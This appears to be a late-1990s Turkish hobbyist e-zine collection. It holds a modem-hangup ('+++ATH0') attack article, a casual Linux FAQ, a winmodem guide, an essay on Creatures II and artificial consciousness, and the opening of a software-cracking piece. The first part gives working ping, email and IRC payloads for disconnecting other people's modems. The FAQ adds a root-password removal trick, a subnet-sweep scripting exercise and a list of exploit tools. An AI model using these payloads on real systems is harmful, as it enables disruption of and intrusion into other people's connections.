yaptirmis olursunuz ve baglantisi kopar. Bunu nasil mi yapicaz?... bi program yazcaksin ;PP
 

ba$ka ornek? var..

5) Linux'tan ping olayina gireriz : (-p pattern option'u linuxta var windows'ta olmaz)
(Ping modem killer ilk defa  MrPhoenix (phoenix@iname.com) tarafindan bahsedilmi$tir.)

+++ATH0--> 2b2b2b415448300d   (en sondaki  0d=13  biliosun enter)

#ping -p 2b2b2b415448300d -c 5 xxx.xxx.xxx.xxx
PATTERN: 0x2b2b2b415448300d
PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes

--- xxx.xxx.xxx.xxx ping statistics ---
5 packets transmitted, 0 packets received, 100% packet loss

5 paket gitti..1-2 paket bazan yetmiyor(nedense??).

cali$madIgI durum:
# ping -p 2b2b2b415448300d -c 5 xxx.xxx.xxx.xxx
PATTERN: 0x2b2b2b415448300d
PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes
64 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 ttl=252 time=182.4 ms
64 bytes from xxx.xxx.xxx.xxx: icmp_seq=1 ttl=252 time=190.1 ms
64 bytes from xxx.xxx.xxx.xxx: icmp_seq=2 ttl=252 time=190.1 ms
64 bytes from xxx.xxx.xxx.xxx: icmp_seq=3 ttl=252 time=190.1 ms
64 bytes from xxx.xxx.xxx.xxx: icmp_seq=4 ttl=252 time=180.1 ms

--- xxx.xxx.xxx.xxx ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 180.1/186.5/190.1 ms
 
 
 
 

Kendimizi korumak icin ise S2 registerini 255 yapip(kolay yol)
yani modem init stringi degistirecez ya da
galiba kernel'I, firewall'u mIncIklayIp "+++ATH0"  iceren paketleri drop etmesini sagliycaz(zor yol)
ATZ ATS2=255&W  denemeye deger bi fix.
 
 

peki ya e-mail? e-mailde de denedim ..mesaj kIsmIna  +++ATH0 yazarsan
cok ilginc seyler olur. eger senin modem vulnerable ise senin hat kopar.
degilse..maili alan kisi alirken problem ya$ar.
-------->>>BU KESINLIKLE CALISIYOR<<<-------------
------------------------------------------------------------------
 
 

tam cozemediklerim:
Attack yapalim ve ATDT1234567   gibi bir tel numarasi cevirttirebilir miyiz?
phreakerlarin i$i mi bu yoksa ya da daha ilerisi?

IRC icin  bir rivayete gore kar$I tarafIn +++ATH0 vermesi icin boyle oldugunu soyluolar..
sen ne dersin ?  ben denedim kendi ustumde 1 defa cali$ti 15-20 denememde:
//raw NOTICE nickname : $+ $chr(1)  $+ PING +++ATH0 $+ $chr(1)
yukarida satirda hic bir imla ya da yazim hatasI yoktur!.
(ba$ taraftaki iki tane slash da dahiL!)
 

hade byez..sonra goru$ucez yine

Intruder
ocala@aidata.com.tr  


 

GEREKLI ve GEREKSIZ 41 LINUX SORUSU ve 41 CEVABI MEKANI :

1 Boot up sirasinda akip giden boot mesajlarini goremiyorum..
    acaba ppp'nin hangi versionu kurulu ona bakicakim da. ona nasIl bakicam abi?
#dmesg
    bu komut sana bootup mesajlarinin son 4K sini gene verir.
    Gene mi goremion ucup gidio ? Shift ile Page Up a bas gorursun..
    ya da #dmesg | less ya da #dmesg | more kullan.
    Dosya haline mi getircen? print mi etcen sonra? O zaman :
    #dmesg > dosyaismi
    o mesajlar icinde yalnizca SCSI ile ilgileniom abi..O zaman :
    #dmesg | grep -i SCSI
2 Abi, yeni bi kernel dL ettim ve kurdum ama 
boot up disketi yapmaya calisirken
    bana too large dio..ne etcem?
#make zdisk     demiycen..onun yerine
    #make bzImage   diycen..o i$ bitince de:
    #cp /usr/src/linux/arch/i386/boot/bzImage  /dev/fd0
3 Yeni bi modem aLdIm ama ppp-go yazinca 
cali$mIo artik ;(
   ya da bi makinaya Linux yukledim ama 
o bana bu makinada ppp lacks sux 
falan dio yaw?

cok ugra$tIm ama bana Connection Script 
Failed dio..kafayI bozdum KDE'den baglaniim dedim bana modem busy dio. hay ben bu *?!X*?*X!

ppp-2.3.7.tar.gz
    aha bu programi bul inetten.
    #./configure
    #make kernel
    simdi git kernel'a yani /usr/src/linux  'a ve yeniden derle
    sonra gel buraya
    #make
    #make install
    simdi de reboot yap
    hade hayIrLi olsun yeni ppp driverin.
olmadI mI? 
#setserial   /dev/modem
burdaki port ile
etc/ppp/options  dosyasindaki port aynI oLmaLI..
ttyS1  ya da cua1 gibi(COM2 icin)
Linux standart degi$tirio..ttyS1 COM2 demek..ttyS0 ise COM1 vs vs
haberin ola.
KDE icin ise /etc/ppp/options dosyasinin icini bo$alt
sonra Kppp dene.

   olmadi mi? o zaman i$ler bozuk.a$agIdakileri okumak zorundasIn ;)

    ortaLIkta winmodem denilen tam anlamIyLa 'adi' denilebilecek turden modemler var.
    bu ipna modemler ornegin yalnizca W95, NT gibi i$letim sistemlerinde ve yalnizca kendi suruculeri ile calisiyorlar.
    linuxta boyle bir $ey yok. bu ipna modemlerin ureticileri chip ozelliklerini de programcilara vermiolar ki bi cozum bulunabile.
    sana kotu bir haberim var..yeni modem alcaksIn.

    peki yeni aldigim modemin tipik bir winmodem olup olmadigini nasiL anliyacagIm?
    Windows'a modemi standart modem olarak gosterebiliosan yani surucusunu yuklemeden demek istiyorum,
    o zaman anla ki o iyi bir modem. zaten Linuxta acip makinayi ppp-go yazdigin anda calisacaktir.

    PCI modemlere cok dikkat!  USRobotics 56K PCI modem ornegin bir winmodemdir.!!

4 boot sIrasInda LILO yazacak diye bekliom 
ama IkInIo IkInIo LIL yazIP duruo yaw. 
ne bu kim?
Linux aleminde bu duruma hard disk geometry'si uyu$mama durumu diolar. 
(yani HDD yi goremio alet..naptin hddleri yer mi degi$tirdin? )
bi de /etc/lilo/boot.b dosyasinin yeri map installer kullanmadan degi$mi$se olur. ha? ne ya? neyse bak bu sorunu $oyle cozelim:

       sen gene de bi bzImage yaratmI$ ol da disketi ko bi kenara bugunler icin lazIm olur.
       disketten ac Linux'u arada bi catlar mIsIn? ;)

       dos disketinden sen bi temiz bi  fdisk /mbr yap ilk once.
       sonra ac o disketinle #lilo yaz yeniden yaptir liloyu.
       disketin mi yok? yaratmamI$mIydIn daha once?  o zaman:
       sen kesin slackware kullanisundur..hani slackware kurarken bi boot disketlerin vardi ya
       hah i$te onlari al eline ..disketleri kaybetmi$sen yeniden yarat.
       root olarak gir zaten sana $ifre sormayacaktir hemen girersin.
       sonra prompt gelince HDD'ni mount etcez:
       #mount  /dev/hd??   /mnt
       ordaki ?? yi sen bilion ben diil..ikinci hdd'nin ilk partition'u ise ornegin hdc5.. mesela yani.
       simdi  /usr/src/kernel  a git ve #make bzImage yap  5 dakka seyret.
       floppy'ye bi temiz disket tak
       #cp  /usr/src/linux/arch/i386/boot/bzImage   /dev/fd0
        aL sana disketten acan disket.
       hala lilo mu istion?
       #lilo
       o kadar ;)
       haa bi de /etc/lilo.conf   dosyasina bakiver icinde 3-5 ayar var ba$ka $eyleri merak edersen.
       mesela LILO yazisi uzun ya da kIsa kalio ekranda gibi acayip bi $ikayetin varsa
       /etc/lilo.conf  bu dosyada  "image" ya da "append" den hemen once delay=100 satirini ekle.
       bu 100 milisaniye....1000 yazarsan 1 saniye ok?

5 root $ifremi unuttum !!! oLm allah tependen baksin ne diim sana ;)
        bak $oyle yapcaz:
        sen kesin slackware kullaniosundur..hani slackware kurarken bi boot disketlerin vardi ya
        hah i$te onlari al eline ..disketleri kaybetmi$sen yeniden yarat.
        root olarak gir zaten sana $ifre sormayacaktir hemen girersin.
        sonra prompt gelince HDD'ni mount etcez:
        #mount  /dev/hd??   /mnt
        ordaki ?? yi sen bilion ben diil..ikinci hdd'nin ilk partition'u ise ornegin hdc5.. mesela yani.
        sonra yapacagimiz $ey   gidip   /mnt/etc/passwd  dosyasini edit etmek.
        ordaki root satirindaki sifreyi sil ve kurcalamadan kaydet ve cik.

        root::0:0:root:/root:/bin/bash

        sonra normal $ekilde shutdown et. $imdi sifresiz girdigini goreceksin. root'a sifre verebilirsin artik.

6 Abi dielim ki makina kilitlendi..Bi C programi yazmI$tIm denerken goctu ..
     tuslar calismio ve ben restart etcem makinayi saglikli bi $ekilde
     kapansIn die napcaz ?
#gpm -k
#gpm -S "shutdown -r now"
     bunu yaptiktan sonra gocertebilirsin makinayi...

     ya da deneyelim:
     mouse sag tusa basili iken sola 3 defa tikla
     sana 3 saniye icinde mouse'un bir tusuna basarsan verdigin komutun
     aktif hale gelecegini soyleyecek.tikLa ve gor.

7 abi ekrana diklemesine kocaman bi ehe 
yazdirmak istiom napcam?
#banner -w 30 ehe
     aha bunu yaz ;)
     sonra istersen: #banner -w 30 ehe > dosyaya
8 Abi benim makina telnet finger ftp falan 
hepsine acik yaf nassi kapatcam?
/etc/inetd.conf
     i$te sihirli dosya bu..o dosyayi edit et..
     istemedigin servislerin basina # koy ..o kadar.
     bu arada lynx ile baglanilabiliteni de kapat.
     ya da /etc/hosts.deny  dosyasinda en alta gel ve:
     ALL:ALL yaz en iyisi ;P
o kadar
9 Dosya yetkileri konusunu hic anlayamiom 
abi bi de sen anlatsana..
bi dosyamiz var dielim. ls -l ile ozelliklerini gorebilirsin.
     r: read, w: write, x:execute

     rwxr-xr-x  ozelligi varsa:

     1.parca: rwx : user  yani o dosyanin sahibi
                    hem okuyabilir
                    hem yazar(siler, degistirir)
                    hem de calistirabilir.

     2.parca: r-x : group yani dosyaya sahip olan bir kesim halk ;)..
                    dosyaya yazamaz,silemez

     3.parca: r-x: others  yani diger kullanicilar.yabancilar.
                   dosyaya yazamaz,silemez

Simdi o uclu sayilara bakalim..2^2, 2^1, 2^0 a karsilik gelen 4,2,1 sayilari ne ifade edecek?
rwx  yani 4 2 ve 1 var cunku - hic yok ..demek ki ilk basamak : 4+2+1=7
r-x  yani 4 ve 1 var 2 yani ortadaki yok..demek ki ikinci basamak: 4+1=5
ucuncusu de burada tesadufen ikinci ile ayni oldugu icin: 4+1=5

demek ki bu dosyaya chmod 755 dosyaismi   uygulanmI$.

peki ornek olsun diye dosyayi yalnizca yaratani tarafindan okunur ve yazilir hale getirelim..
rw-------
bu olmali de mi?
demek ki:
rw- : 4+2=6
--- : 0
--- : 0
chmod 600 dosyaismi

10 startx ya da xinit yazinca mouse 
calismio abi yaw.
#gpm -k  ..ondan sonra dene
olmuo mu?
#xf86config sirasinda mouse sorusuna 2 tu$lu mouse de..chordmiddle Y yap(copy-paste icin). 3 tu$lu bazI mouse'lar caLI$mio 3 tu$lu ayari yapilsa da.
11 Xwindows ya da KDE'de 16 bit 24 bit 32 bit resimleri(karILarI) tam renginde goremiom. #startx -- -bpp 16
     ya da
     #xinit -- -bpp 16           ...(16: 16 bit... 24, 32 vs vs)
12 mtools ne abi? Floppy ustunde DOS komutlari calistirion. bi tane normal dos disketi tak ve:
     #mdir yazsana bak.. mtools komutlari mcopy mrd mformat vs vs ..
     sen m ve 2 defa tab yap komutlarin tamamini gorursun...ya da #man mtools
13 Yaw bi komut var netstat mi net bi $eydi animsayamiom neydi komut abi? n harfine bas sonra Tab'a 2 defa bas..gordun mu? ba$ka harfleri dene bak ku$lar cIkacak ;)
yaa gordun mu? demek ki komutun ilk harfini yazIon..soona tab-tab ok?
14 Abi..Linux'ta  rain  diye bi komut var..ne i$e 
yario bu?
Yagmur yagdirio kIs..o kadar ;)..$emsiyeni ac.
15 Linuxta adventure oyun yok mu ? var.. #adventure  yazsana ;) hayaL gucun baya geni$ olmaLi..kafadan satranc oynamak gibi bi $ey 
16 Abi.. passwd ve shadow dosyalarini ba$ka 
yere aLsam nolur?
De get yaf alala.
17 Hangi directory en cok yer kapliyor..nassI 
bulcam?
#du -S|sort -n
18  Hangi dosya en buyuk? #ls -l|sort +4n
19 Hangi process en cok memory yiyor? ps -aux|sort +5n (ya da +4n)
20 *.ps dosyalarini nassi okuycam? #ghostview filename.ps
        ya da KDE'de bir utility var.
21 RedHat'de renkli ls olayini istiom abi.. /etc/bashrc' ye alias ls='ls --color=yes' koy.
22 *.rpm dosyalarini nasil kurcam? (rpm=RedHat Packet Manager)
     Install etmek icin:  #rpm -i filename.rpm
     Upgrade etmek icin:  #rpm -U filename.rpm
23 Netscape(mesela yani) goctu ama hala 
ekranda duruo kaldi oylece..ne etcem?
#ps yaz  bak PID(Process ID numarasina) sonra da #kill -9 ogordugunnumara
24 vi ve pico dan baska editor var mi abi? var.. #joe .. bi de #emacs yazsana C codelari icin nefistir.  KDE'de isen kedit cok iyi.
25 2 dosyayi birbirine nasil eklerim? #cat dosya1 dosya2 > yenidosya
26 Norton Commander? #mc   (Midnight Commander)
27 Floppy mount nasiL? ya CDROM? #mount -t msdos  /dev/fd0  /floppy
     #mount -t iso9660  /dev/hdc   /cdrom
     (hdc cdrom varsayiyoz..sana uymazda hdd mi ne ne denk geliosa onu yaz
      bi de cdromda bi cd olsun)
     makinayi kapatmadan once de umount yapmayi unutma gusellik ok?
28 HDD'nin saglikli olup olmadigini nasiL kontrol 
etcem?
#fsck
        (bu komut zaten bootup sirasinda otomatik calisir)
29 Linuxta batch mantigi gibi shell scriptler 
nassi yazilir abi?
#pico dosyamiz  ...
     sonra $u satirlari yaz(noktalari yazma kIs):

     ............
     #!/bin/sh
     # aha bu deneme dosyamiz..bu satir ignore edilir..comment satiri yani
     echo -n "Ilk defada cok heyecanlanir insan ;PP"
     ping localhost
     df
     date
     .........gibi gibi komut satirinda ne kadar yazabiliosan buralara da yazabilirsin. 

(for, case,  if vs vs de var da sen inete takIL tonlarca yer var tutorial niteliinde..bak sana bi odev..
bi script yaz ki $unu yapsIn:
dielim ki fawx die zalak bi program var..tum C Class'a kar$I caLI$sIn:
#fawx  195.199.99.99    196.195.194.1  10
#fawx  195.199.99.99    196.195.194.2  10
#fawx  195.199.99.99    196.195.194.3  10
#fawx  195.199.99.99    196.195.194.4  10
gibi 254'e kadar gitsin..
254 tane komut satiri yazcak kadar akILLI olmadIgImIza gore bu o bash script yapsIn..
hade tosunum..
kim tutar seni ;P
for kullanarak yaz bakiim ;)

ba$ka scripting language yok mu? var tabii ki.. mesela python.. sen bi $unu belle soona ona bakacak ve ogrenecek kapasiteyi kendinde bulcan.)

simdi Ctrl+X ile cikarken kaydet manasinda Y ile cevap ver
ls yap bak dosya orda
simdi calistir:
#dosyamiz
calismadi de mi? niye? root olmana ragmen calismadi hem de...
peki simdi ls -l yap
yetki durumunu gordun mu?
#chmod 777 dosyamiz
bunu yap mesela
simdi #ls -l yap
simdi #dosyamiz
o kadar.
not: yukaridaki gibi tum shell scriptler her zaman #!/bin/sh  ile ba$lar
gerisi hikaye

30 Abi ben Sackware kullaniom.. ama o darkstari istemiom..ne etcem? /etc directory'sine git.HOSTNAME, hosts edit et ..sonra reboot et bi kere ..o kadar..bi de merak ediosan tavsiye ederim ordaki dosyalarin icine bak ama anlamadiysan ordaki ince ayarlari kendine gore yorum yapip kurcalama makina acilmaz.zaten dosyalarin icinde gerekli uyarilar var.
31 syslog degistigi anda nasil gorebilirim ? #tail -f dosyaadi       dosyaadi burdaki hangi dosyayi istiosan ornegin log dosyalarini tam yerini belirterek takip edebilirsin.
32 IRC programi olarak kullandigim cogu
programla bi yere baglaninca beni 
'ircing as root is lame' die paketliolar abi ya..
sirasiyla sunlari yap:
     #IRCNAME="gercekadin"
     #IRCUSER="nicknamein"
     #export IRCNAME IRCUSER
     o kadar.
     simdi hadi daL olaya.
     haa bi de export yaz bak neler var..istersen onlari da degistirebilirsin..
     merak etme bi dahaki bootup sonrasi normale donecek hepsi..elle elle cekinme
     USER'i falan da degistir..bazi dandik irc programlari ona da bakio.
33 bi dosya var nerde oldugunu bilmiyorum.
nerde?
#find  /  -name "dosy*"
#where dosya
34 Linux'ta basic dilinde program yazmak istiom..
napmam lazIm?
Kolay.. yalnizca :
    #basic
    yazcan o kadar.;) 
10 print "intruder" 
20 goto 10
ehe ;)
35 ya abi ya bu kernel upgrade ederken 1000 
tane soru soruyo ya uyuz oluom  hepsine 
cevap vermeye..bi de tek bi $eyi 
degistirecem hepsi ba$tan..kolayI var mI?
var tosunum benim bak $imdi git xwindowsuna ya da KDE'ye.
#cd /usr/src/linux   yaz
sonra:
#make xconfig
nassI? kapI gibi menulu de mi? 
i$in bitince sana ne yapcagini sooluyo hatirlatio da sen 
#make dep 
#make clean
#make bzImage
#cp /usr/src/linux/arch/i386/boot/bzImage  /dev/fd0
i$lerini elin aLI$sIn yap.
36 kernel"In kendisini mi cekip install ediim 
yoksa patch'ini mi aliim hani daha kIsa dosya ya?
2.0.x'ten 2.2.y'ye gecerken kesinlikle yenisini dL etmelisin(kotu haber)
2.2.x'ten 2.2.y'ye zIplarken patch olur(iyi haber)
37 Kppp kullanarak inete baglanicam..ama 
lock u kaLdIr dio. denedim olmuyor.
/etc/ppp/   directorysine git.
#mv options options-sakla
diye rename et. dursun..ppp-go ile baglanacaksan tersini yap.
#touch options
bu sana ici bo$ bir options isimli dosya yapar.
$imdi git KDE'ye bak nasIL caLI$acak..
ne? caLI$madI mI?
modem portunu dogru ayarladIn mI? cua1 ? ttyS1?
#setserial  /dev/modem 
bunu yap gorursun hangi portta.
38 Linux'ta inet baglandIm ama IP'im ne? al sana yollardan 2si:
1- #ifconfig
bu komutla kapI gibi gorursun
asLinda ethernet olayI icindir ama i$ gorur
2-KDE'de kpp ile baglanmI$san ona tikla ve detailse tIkLa
bak ne kadar kolay ;P
39 bu xwindows ya da KDE'de hec mi image 
editor yok baba yaw ?
ne diicem biL bakiim....
tabiik ki var
#gimp
bunu ilk defa yazdiiginda install ediim mi diycek..sen de estag tabii ki manasInda tIKLIycaksIn..o kadar
sonra cIzIktIr bakiim ne cizebilion ;)
40 ne kadar memory free?(napcaksan bunu!?) #free
41 abi sen hacker mIsIn? ne programlar 
kullanIon?
cevap: ben hacker diiLim..olamam da zaten...i$im bu diiL alakam da yok.
arada ipnaLIk icin baskalarInIn yazdIgI $unlarI kullanIom..soona exploitlere bakiom, bugtraq'lara bakiom sonra oraya buraya bakip exploit buluom ya da txt buluom okuom uyguluom oluosa oluo olmuosa derinle$iom ben el atiom vs vs vs secmece olarak aha buyur
:
mns-v.68beta.tar.gz
*sscan.tar.gz
*nmap-2.12.tgz
xlogsmaster-1.6.0.tar.gz
ADMscan3_tar.gz
Cgichk1_3.c
mountexp.c
cvnmount.exploit
sm869.c
nfsbug.c
web_sniff.c
*netcat110.tar.gz
*satan-1.1.1.linux.fixed2.tgz
icmpinfo-1.11.tar.gz
sniffit_0_3_7_beta_tar.gz
ipfwadm-2_3_0_tar.gz
Nxm.tgz
*SAINT_1.3.6 
cheops-0.59a.tar.gz
Smbls98.tgz
nessus-990201.tgz
smurflog-2.1.tar.gz

*: en cok kullandiklarim. iyi sonuclar ve aciklar soyluolar.

vs vs bi suru program ki sen de inetten kolayca bulabilirsin.
hacker mI olmak istion?..
olunca bi mail atsana kulagIna bi $ey sooliycem ;)

hade byes
hepinis birer tanesiniz guzeLLikler...

Intruder
ocala@aidata.com.tr


 

-WINMODEM-
 

Bu yazi, Linux’ta modem ile gure$enlere yol gostermek ve pes ettirip vazgecirmek amacIyla yazilmi$tir.;)

If your modem is a "Winmodem", sell it, or give it away, or throw it away.
(Eger modeminiz bir Winmodem ise satin, birine verin ya da atIn gitsin )

Winmodem nedir?
- - - - - - - - - - - - -

Basit olarak winmodem, yalnizca windows driveri ile cali$abilen yani Windows OS’e ozel modem turudur.
Modem,  driversiz hic bi i$e yaramaz.Bu ipna modemler ustune ustluk CPU’i de utanmadan kullanirlar .
Boyle modemleri Windows’ta ne kadar debelenseniz de driverlari olmadan ‘Standart Modem’ gibi bir alternatif olarak tanitamazsiniz. Linux’ta baktiginizda ise gercek UART degerlerinin olmadiklarini gorursunuz(setserial komutu ile)..UART’i emulate ederler hesapta (etmeye calisirlar ama nafile).

Bir makinaya Linux yukledim ve modemin Winmodem olup olmadigi hakkinda hic bir bilgim yok ve modem cevir sesi vermiyor. Hadi bakalim ne etcez?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Evet..aslinda burasi asIL konu..yapabilecegimizi yapacagiz sonra winmodem olup olmadigina karar verecegiz.

Kernel compile ettirirken PPP, TCP/IP, Plug&Play kisimlarina Y dedigini varsayiyoruz.

Makinayi yeni kurmu$san muhtemelen yeni kernel da build etmi$sindir.
Sana yeni ppp(d) lazIm cunku yenilendi.
ppp-2.3.7.tar.gz
bu dosyayi bul.
#./configure
#make kernel
sonra git kernel’i yeniden derle.
Reboot et.
Gel buraya yine.
#make
#make install
#make clean
ve yine reboot et.
Acilis sirasinda ppp (daemon) 2.3.7 goruon mu?
Buraya kadar OK.

#pppsetup calistir.kur.bu detaya girmiycem.

Simdi dene:
#ppp-go
olmadI mi? Devam edelim..
NOT: bende 33600 USRobotics var ayrica..o modem de calismiodu buraya kadar yapinca yani daemonu kurunca calismaya ba$lamI$tI. Bu tip modemi olan ve merak eden bana mail atabilir...dertle$iriz ;P
Sonra bi acayip marka bi PCI modem aldim a$agIdakileri denedim olmadI..daha sonra DATRON 56K ISA aldIm kapi gibi calisti.

DOS COM1=linux cua0=linux ttyS0
DOS COM2=linux cua1=linux ttyS1
DOS COM3=linux cua2=linux ttyS2
DOS COM4=linux cua3=linux ttyS3

ttyS? standardi yenidir...bundan boyle port isimleri oyle olacak cogunlukla bu arada.

#ls  -la   /dev/modem
ve
#cat  /etc/ppp/options
bu ikisinden cikan sonuclarda ayni port gosterilmelidir. (modem<->cua1<->ttyS1  herhangi ikisi)
degilse duzeltiver manuel olarak.

eger ttySX(ya da cua1 i$te neyse kullandigin)  modemle linkli degilse linkle:(X: senin portunla ilgili)

#ln   -s  /dev/ttySX   /dev/modem

dene:
#ppp-go
olmadi mi?

/etc/ppp/options
bu dosyanin icini bo$alt.
Git KDE’ye
Kppp calistir.setup yap.
Portunu ayarla (ornek: ttyS1)
Connect...
Modem busy diosa i$ler kotuya gidiyor..

$unu yap:
#setserial  /dev/modem

/dev/modem,  UART : 16550A, Port:0x0.......IRQ:....
ordaki UART nosu olan 16550A yerine hic bi $ey yok mu? Ya da unknown mu yazio?

O zaman sona geldik.artik ciki$ yolu yok.uzgunum ;(

Driver mi lazim?

Yok ki driver.. cunku bu tip modemi uretenler chip speclerini programcilara vermiolar ne yazik ki.hadi verdi diyelim.. driver yazacak ya da emulator yapacak adam bulmak lazIm. Yani hocanIn koyunlarI baharda tellerden gecicek hesabI oluyo bu.

USRobotics 56K PCI bu ailenin en guzel ornegidir.
Rockwell-chip-based RPI  modemler ise i$in temeli. RPI modemler uzerlerinde temel i$lemler icin onboard controller ta$Irlar, fakat sIkI$tIrma(compression) ve dogrulama(correction) i$lemlerini CPU’e yuklerler.

Bir cok Winmodem de NT’yi desteklemiyor. Peki ya Windows2000’de ne olacak? Update edilmi$ modem driverlari pe$inde mi ko$acak insanlar? Linux’ta boyle bir durum yok bildiginiz gibi. Modem ya caLI$Ir ya caLI$maz. ;)

PCI modemlerde kacinmanIz dilegiyle.
Ha bi de Winprinter’lar var. Sagda solda yazilarini gormeye ba$ladIm haberiniz oLa tosunlar ;).

Intruder
ocala@aidata.com.tr


Yapay Zekanın Eşiğinde : Creatures II

         Bir gün bir oyun oynadim ve bütün hayatim degisti...(bkz.orhan pamuk-yeni hayat) . Aslinda böyle iddiali bir cümleyle yaziya baslamak bende istemezdim ama birazdan anlatacaklarimi okuyunca sizinde bana hak vereceginizi umuyorum. Neyse asil konuya girelim yavas yavas, aslinda pek oyun oynamayi seven biri degilim oyunlarin belli bir süre sonra kendini tekrarlayan yapisi benim canimi hep SIKMISTIR. O yüzden en son oynadigim oyun RED ALERT'ti (o da network game de) neysem gecen aylarin birinde chip dergisine göz gezdirirken bir makaleye rastladim. Makale genel olarak NORN lardan bahsediyordu bu NORN lar CREATURES II adli bir bilgisayar oyununun kahramanlariydi, buraya kadar hersey normal ama zaten olayda burdan sonra basliyordu, adamlar bu NORN larin yapay zekaya sahip oldugunu söylüyorlardi hatta daha ileri gidip bunun dünyadaki (en azindan kamuya sunulan) en ileri yapay zeka uygulamasi oldugundan falan bahsediyorlardi neyse dururmuyum giyinip evden ciktim yaklasik iki seneden beri ugramadigim bilgisayar oyunlari satan bir dükkana girdim ve tezgahtara israrli bir bakisla beraber CREATURES II oyunu olup olmadigini sordum tezgahtar tamda tahmin ettigim cevabi vermekte gecikmedi "o su an yok ama haftaya kesin gelir " neyse tezgahtarin "abi o yok ama gel sana FIFA99 verelim acaip bi oyun bu ciddiyim" olan ikinci cümlesi tamamlanmadan ben oradan cikmistim  bu ve buna benzer bes on ayri dükkan muhabbetinden sonra nihayet CREATURES II cd si ellerimdeydi hizla eve dönüp heyecanla CDyi yerine takip bastim setup a, oyun yaklasik 300 mb yer istiyordu benim gibi bilgisayarlari M.Ö. den kalma insanlar icin  bu yemek yemek icin yeterli bir ara demekti :-)

       Neyse birseyler atistirip tekrar sistemin basina gectigimde oyun kurulmus beni bekliyordu. Oyunu baslattim, oyun da size NORN adi verilen kücük canavarlardan veriliyor sizde bunlari alip ödüllendirme veya cezalandirma yoluyla egitmeye basliyorsunuz ilk önce onlara ALBIA ismi verilen sanal dünyayi tanitiyorsunuz iste nebilim yiyecekler, oyuncaklar bunun gibi bir sürü sey daha sonra norn tanimaya basladigi dünyada kendi yapay zeka algoritmasiyla yavas yavas yasamaya basliyor önce karni acikinca yemek yemeyi ögreniyor daha sonra yorulunca uyuyor ve bu böyle sürüp gidiyor belli bir süre sonra ise flört etmeler ve sizin kendi dünyanizda dogan ilk bebek nornlar, oyun gercek anlamda bir yapay zeka uygulamasi oldugundan herkesin kendi bilgisayarinda farkli bir yasama dönüsüyor mesela benim nornlarimdan bazilari hic istemedigim halde kendi kendilerine kavga etmeyi buldu :-).

        Iste oyun genel olarak bu cizgide bulunuyor ama nedir bunu bu kadar farkli kilan? aslinda burda isin icine cevaplanmasi gereken sorular giriyor yani yapay zekanin ne olup ne olmadigi vede gelecekte ne olacagi. Burda hemen aklimiza biseyler takilmaya basliyor.
 

  • Bir robot adam öldürürse suçlu kim olacak, onu yapan mi yoksa robot mu? Onu ceza olsun diye paslanmaya mi terk edecekler?

tabi bu sorunu iceriginide gelistirebiliriz mesela söyle bir zincir kursak;

  • Canliya bir deger veririken onun insan bilincine olan yakinligi süphesiz en önemli kriterlerden biri. Öyleyse bilinçlilik zaten yadsinamayacak bir deger ögesi. Peki, ya canli olmayacak (en azindan karbon kimyasi üzerine kurulmayan ana maddesi silikondan) bir bilinç ortami tümden degersiz mi olacak?

Burada da icinde canlilik olmayan bilinç kavramini biraz acmamiz gerekiyor onu da söyle siralayabiliriz;

  • Öncelikle "bilinçliliginden" söz edecegimiz bir fiziksel yapi olmali
  • Bu fiziksel yapi kendisi disinda kalan fiziksel evrenden (en azindan bir kismindan ) ve ondaki degisikliklerden etkilenmeli.
  • Eger bu fiziksel yapi, herhangi bir mekanizma ile kendisinde olan degisiklerden yola cikarak, ileriki (daha gerceklesmemis) olan bir andaki dis evrenin nasil olacagi yargisina varabiliyorsa ve kendisinin "bilinçliliginden" söz edilebilir.
  • Ve eger böyle bir yapinin gözlemledigi (yani etkilendigi) yapinin icinde kendiside bulunuyorsa bu ayricalikli bir bilinc düzeyidir ki bu durum "bilinçliligin bilincinde olmak " olarak nitelenebilir bu durum su an yanliz insan icin gecerlidir (simdilik!)


        Yukarida dikkat ettiyseniz hicbir maddede canlilik yoktur. Ilk üc madde dogadaki tüm canlilar icin gecerlidir yanliz dördüncü maddeyi insan saglamaktadir bu siraladiklarimiz bir bilincin olusmasi icin yeterli sartlardir simdi tekrar oyunumuza dönersek olusturulan bu NORN'lar ilk üc maddeyi su an icin saglamis görünüyor simdi asil sorun dördüncü madde. Eger bir gün bu hizli ilerleme devam edipte Nornlar kendi bilinç düzeyelerinin farkina varirsa ne olacak bu bana göre tamamen insan kaynakli olmayan bir bilinç düzeyidirki ne olacagini kestirmek en azinda su an için oldukça güç.Ayrica virüsler dahil en basit canlinin bile yasam hakki olan bu dünyada bilinç düzeyi insan kadar gelismis ama sadece silikon çiplerden olusmus bir yapinin ne gibi haklari olacak?

     Belki de gelecek, insanlar ve onlarin ürettigi bu yasamlar(!) arasinda cok degisik türden iliskilere gebe ve asil komik olan, esiginde oldugumuz bu teknolojik devrimin hayatimiza ne gibi etkileri olacagini hic birimiz bilmiyoruz. Ve buraya aklimda kalan ünlü bir filmin repligini yazmadan gecemedim umarim sonumuz boyle olmaz :-)))       >=====>           "astalavista baby...." (TERMINATOR-II)

***Bu konuda daha fazla bilgi almak istiyenler icin CYBERLIFE'in olusturdugu  CREATURES II  web sitesi bayagi yeterli olacaktir.

***Bu yazida Chip'in subat sayisinda cikan bir makeleden  ve Göktürk Üçoluk'un Cumhuriyet Bilim Ve Teknik ekinde yayinlanan yazisindan yararlanilmistir.
 
 

koglan@yahoo.com


 

Logo Alınteri Nasıl Kırılır? (Bonus Pack: Trace Engineering)

Kaç yıldır bilgisayarla uğraştığımı tam olarak bilmiyorum. İlk bilgisayarım Commodore 64dü. Sanırım ilk okul son felan zamanımdı. En az 12 yıldır bilgisayar dünyasının içindeyim ve 8 yıldır PC kullanıyorum. Bu zaman içinde pek çok kişi tanıdım ama çok azı beni etkilemiştir. Bunlardan biri de benim sözcük dağarcığıma "trace engineering" kelimesini sokan "Morgoth" dur. Kendisi şu an aggressor team üylerinden olduğu için şimdi kullandığı nicki yazmayacağım. Ama bir zamanlar o "Morgoth" ve ben "Paladinson" iken bayağı güzel zamanlarımız olmuştu! İlk crack bilgilerimi ondan öğrenmiştim. Şimdi bu eski dostlar muhabbetini bırakıp konumuza geçelim. Öncelikle Morgoth'un trace engineering ile ne demek istediğinden bahsediyim.
